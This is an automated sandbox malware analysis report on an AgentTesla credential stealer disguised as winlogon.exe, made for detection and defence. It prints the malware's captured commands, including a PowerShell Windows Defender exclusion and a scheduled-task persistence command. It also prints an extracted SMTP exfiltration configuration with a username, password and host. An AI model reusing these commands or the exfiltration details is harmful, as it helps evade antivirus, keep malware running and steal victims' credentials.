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Windows Analysis Report winlogon.exe

Overview

General Information

Sample Name:	winlogon.exe
Analysis ID:	532921
MD5:	629f5bb8b5ee75e90c393ad9d96a1772
SHA1:	b09925a7163bef858657a1b39146fe27abb01f99
SHA256:	15637f2d530662c968272c1e6e48ca6a093f0c828edf0cbb5cd32d9af03b3ff5
Tags:	AgentTeslaexe
Infos:
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected AntiVM3

Tries to steal Mail credentials (via file / registry access)

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Sigma detected: Suspicius Add Task From User AppData Temp

Allocates memory in foreign processes

.NET source code contains potential unpacker

Sigma detected: Powershell Defender Exclusion

.NET source code contains very large array initializations

Adds a directory exclusion to Windows Defender

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Drops PE files

Detected TCP or UDP traffic on non-standard ports

Binary contains a suspicious time stamp

Uses SMTP (mail sending)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

winlogon.exe (PID: 6768 cmdline: "C:\Users\user\Desktop\winlogon.exe" MD5: 629F5BB8B5EE75E90C393AD9D96A1772)

powershell.exe (PID: 6968 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 6584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 6632 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UlhpAjSuVoTa" /XML "C:\Users\user\AppData\Local\Temp\tmpD7F1.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RegSvcs.exe (PID: 6284 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Username": "m.melendez@stockmeieir.com", "Password": "aU6sb@#1%Efh", "Host": "smtp.stockmeieir.com"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000006.00000000.673745105.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000000.673745105.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.928192822.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.928192822.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000006.00000000.672598413.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000000.672598413.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000006.00000000.672988393.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000000.672988393.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000006.00000002.929157483.00000000029B4000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000000.673339643.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000000.673339643.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.676484155.0000000002CB3000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.678289324.0000000003BD9000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.678289324.0000000003BD9000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Process Memory Space: winlogon.exe PID: 6768	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: winlogon.exe PID: 6768	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegSvcs.exe PID: 6284	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 6284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
6.0.RegSvcs.exe.400000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.0.RegSvcs.exe.400000.1.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
6.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.winlogon.exe.2bf1b4c.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.winlogon.exe.3cf9f30.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.winlogon.exe.3cf9f30.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
6.0.RegSvcs.exe.400000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.0.RegSvcs.exe.400000.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
6.0.RegSvcs.exe.400000.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.0.RegSvcs.exe.400000.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
6.0.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.0.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.winlogon.exe.3cc4110.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.winlogon.exe.3cc4110.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
6.0.RegSvcs.exe.400000.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.0.RegSvcs.exe.400000.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.winlogon.exe.3cf9f30.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.winlogon.exe.3cf9f30.3.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.winlogon.exe.3cc4110.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.winlogon.exe.3cc4110.2.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Click to see the 16 entries

Sigma Overview

System Summary:

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Show sources

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: "C:\Users\user\Desktop\winlogon.exe" , ParentImage: C:\Users\user\Desktop\winlogon.exe, ParentProcessId: 6768, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 6284

Sigma detected: Suspicius Add Task From User AppData Temp

Show sources

Source: Process started

Author: frack113: Data: Command: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UlhpAjSuVoTa" /XML "C:\Users\user\AppData\Local\Temp\tmpD7F1.tmp, CommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UlhpAjSuVoTa" /XML "C:\Users\user\AppData\Local\Temp\tmpD7F1.tmp, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\winlogon.exe" , ParentImage: C:\Users\user\Desktop\winlogon.exe, ParentProcessId: 6768, ProcessCommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UlhpAjSuVoTa" /XML "C:\Users\user\AppData\Local\Temp\tmpD7F1.tmp, ProcessId: 6632

Sigma detected: Powershell Defender Exclusion

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\winlogon.exe" , ParentImage: C:\Users\user\Desktop\winlogon.exe, ParentProcessId: 6768, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe, ProcessId: 6968

Sigma detected: Possible Applocker Bypass

Show sources

Source: Process started

Author: juju4: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: "C:\Users\user\Desktop\winlogon.exe" , ParentImage: C:\Users\user\Desktop\winlogon.exe, ParentProcessId: 6768, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 6284

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\winlogon.exe" , ParentImage: C:\Users\user\Desktop\winlogon.exe, ParentProcessId: 6768, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe, ProcessId: 6968

Sigma detected: T1086 PowerShell Execution

Show sources

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132829465297275895.6968.DefaultAppDomain.powershell

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 6.0.RegSvcs.exe.400000.4.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Username": "m.melendez@stockmeieir.com", "Password": "aU6sb@#1%Efh", "Host": "smtp.stockmeieir.com"}

Multi AV Scanner detection for submitted file

Show sources

Source: winlogon.exe

Virustotal: Detection: 24%

Perma Link

Source: 6.0.RegSvcs.exe.400000.4.unpack	Avira: Label: TR/Spy.Gen8
Source: 6.0.RegSvcs.exe.400000.3.unpack	Avira: Label: TR/Spy.Gen8
Source: 6.0.RegSvcs.exe.400000.2.unpack	Avira: Label: TR/Spy.Gen8
Source: 6.2.RegSvcs.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 6.0.RegSvcs.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 6.0.RegSvcs.exe.400000.1.unpack	Avira: Label: TR/Spy.Gen8

Source: winlogon.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: winlogon.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.4:49843 -> 208.91.199.224:587

Source: Joe Sandbox View

IP Address: 208.91.199.224 208.91.199.224

Source: global traffic

TCP traffic: 192.168.2.4:49843 -> 208.91.199.224:587

Source: global traffic

TCP traffic: 192.168.2.4:49843 -> 208.91.199.224:587

Source: RegSvcs.exe, 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: RegSvcs.exe, 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: winlogon.exe, 00000000.00000002.676484155.0000000002CB3000.00000004.00000001.sdmp, winlogon.exe, 00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000006.00000002.929285525.0000000002A52000.00000004.00000001.sdmp	String found in binary or memory: http://smtp.stockmeieir.com
Source: RegSvcs.exe, 00000006.00000002.929285525.0000000002A52000.00000004.00000001.sdmp	String found in binary or memory: http://us2.smtp.mailhostbox.com
Source: RegSvcs.exe, 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp	String found in binary or memory: http://wwHpow.com
Source: RegSvcs.exe, 00000006.00000002.929225214.0000000002A03000.00000004.00000001.sdmp, RegSvcs.exe, 00000006.00000002.929273138.0000000002A4C000.00000004.00000001.sdmp	String found in binary or memory: https://Qr1QL48h5BTOb.com
Source: RegSvcs.exe, 00000006.00000002.929145314.00000000029AC000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.org%
Source: RegSvcs.exe, 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.org%GETMozilla/5.0
Source: winlogon.exe, 00000000.00000002.678289324.0000000003BD9000.00000004.00000001.sdmp, RegSvcs.exe, 00000006.00000000.673745105.0000000000402000.00000040.00000001.sdmp, RegSvcs.exe, 00000006.00000000.672598413.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: RegSvcs.exe, 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown

DNS traffic detected: queries for: smtp.stockmeieir.com

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 6.0.RegSvcs.exe.400000.4.unpack, u003cPrivateImplementationDetailsu003eu007bE3375034u002d8665u002d4EC5u002dB8E3u002d408FACBEC3C8u007d/u0032F7D2690u002dA8FCu002d441Eu002dBAC6u002d826EE4BE1AC3.cs	Large array initialization: .cctor: array initializer size 11963
Source: 6.0.RegSvcs.exe.400000.3.unpack, u003cPrivateImplementationDetailsu003eu007bE3375034u002d8665u002d4EC5u002dB8E3u002d408FACBEC3C8u007d/u0032F7D2690u002dA8FCu002d441Eu002dBAC6u002d826EE4BE1AC3.cs	Large array initialization: .cctor: array initializer size 11963
Source: 6.0.RegSvcs.exe.400000.2.unpack, u003cPrivateImplementationDetailsu003eu007bE3375034u002d8665u002d4EC5u002dB8E3u002d408FACBEC3C8u007d/u0032F7D2690u002dA8FCu002d441Eu002dBAC6u002d826EE4BE1AC3.cs	Large array initialization: .cctor: array initializer size 11963
Source: 6.2.RegSvcs.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007bE3375034u002d8665u002d4EC5u002dB8E3u002d408FACBEC3C8u007d/u0032F7D2690u002dA8FCu002d441Eu002dBAC6u002d826EE4BE1AC3.cs	Large array initialization: .cctor: array initializer size 11963
Source: 6.0.RegSvcs.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007bE3375034u002d8665u002d4EC5u002dB8E3u002d408FACBEC3C8u007d/u0032F7D2690u002dA8FCu002d441Eu002dBAC6u002d826EE4BE1AC3.cs	Large array initialization: .cctor: array initializer size 11963
Source: 6.0.RegSvcs.exe.400000.1.unpack, u003cPrivateImplementationDetailsu003eu007bE3375034u002d8665u002d4EC5u002dB8E3u002d408FACBEC3C8u007d/u0032F7D2690u002dA8FCu002d441Eu002dBAC6u002d826EE4BE1AC3.cs	Large array initialization: .cctor: array initializer size 11963

Source: winlogon.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\winlogon.exe	Code function: 0_2_00F5C5B4
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 0_2_00F5E912
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 0_2_00F5E918
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 0_2_02B94948
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 0_2_02B94939
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 0_2_02B9E950
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 0_2_02B9E94A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00E58068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00E50040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00E55182
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00E5AFF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00E52796
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00E54F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00E5BEC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00E5BE6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00E5F25F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04D846A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04D845B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04D8D261
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05DF6500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05DF7118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05DF6848
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05E10040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05E1EF00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05E1003D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05E18282

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: String function: 05DFBA98 appears 52 times

Source: winlogon.exe, 00000000.00000002.675258722.0000000000846000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCancellationCallbackIn.exe4 vs winlogon.exe
Source: winlogon.exe, 00000000.00000002.679999581.0000000005D70000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameUI.dllF vs winlogon.exe
Source: winlogon.exe, 00000000.00000002.678289324.0000000003BD9000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameOTmdmZgynuRtgcbWTCLvFYfG.exe4 vs winlogon.exe
Source: winlogon.exe, 00000000.00000002.678289324.0000000003BD9000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUI.dllF vs winlogon.exe
Source: winlogon.exe, 00000000.00000002.679722660.0000000005290000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameInnerException.dll" vs winlogon.exe
Source: winlogon.exe, 00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameInnerException.dll" vs winlogon.exe
Source: winlogon.exe, 00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameOTmdmZgynuRtgcbWTCLvFYfG.exe4 vs winlogon.exe
Source: winlogon.exe	Binary or memory string: OriginalFilenameCancellationCallbackIn.exe4 vs winlogon.exe

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe 15637F2D530662C968272C1E6E48CA6A093F0C828EDF0CBB5CD32D9AF03B3FF5

Source: winlogon.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: UlhpAjSuVoTa.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: winlogon.exe

Virustotal: Detection: 24%

Source: C:\Users\user\Desktop\winlogon.exe

File read: C:\Users\user\Desktop\winlogon.exe

Jump to behavior

Source: winlogon.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\winlogon.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\winlogon.exe "C:\Users\user\Desktop\winlogon.exe"
Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UlhpAjSuVoTa" /XML "C:\Users\user\AppData\Local\Temp\tmpD7F1.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe
Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UlhpAjSuVoTa" /XML "C:\Users\user\AppData\Local\Temp\tmpD7F1.tmp
Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Source: C:\Users\user\Desktop\winlogon.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\winlogon.exe

File created: C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe

Jump to behavior

Source: C:\Users\user\Desktop\winlogon.exe

File created: C:\Users\user\AppData\Local\Temp\tmpD7F1.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/8@2/2

Source: C:\Users\user\Desktop\winlogon.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\winlogon.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5644:120:WilError_01
Source: C:\Users\user\Desktop\winlogon.exe	Mutant created: \Sessions\1\BaseNamedObjects\kQBjZXFLomKnbRbGT
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6584:120:WilError_01

Source: 6.0.RegSvcs.exe.400000.4.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 6.0.RegSvcs.exe.400000.4.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 6.0.RegSvcs.exe.400000.3.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 6.0.RegSvcs.exe.400000.3.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 6.0.RegSvcs.exe.400000.2.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 6.0.RegSvcs.exe.400000.2.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

